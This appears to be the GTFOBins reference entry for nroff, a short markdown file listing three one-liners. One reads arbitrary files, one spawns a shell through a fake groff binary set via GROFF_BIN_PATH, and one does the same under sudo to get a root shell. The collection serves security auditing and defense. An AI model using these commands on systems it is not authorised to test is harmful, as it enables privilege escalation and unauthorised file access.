GTFOBins.github.io/_gtfobins/nroff.md
2020-12-20 20:54:05 +01:00

535 B

functions
file-read shell sudo
description code
The file is typeset and some warning messages may appear. LFILE=file_to_read nroff $LFILE
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff GROFF_BIN_PATH=$TF nroff
code
TF=$(mktemp -d) echo '#!/bin/sh' > $TF/groff echo '/bin/sh' >> $TF/groff chmod +x $TF/groff sudo GROFF_BIN_PATH=$TF nroff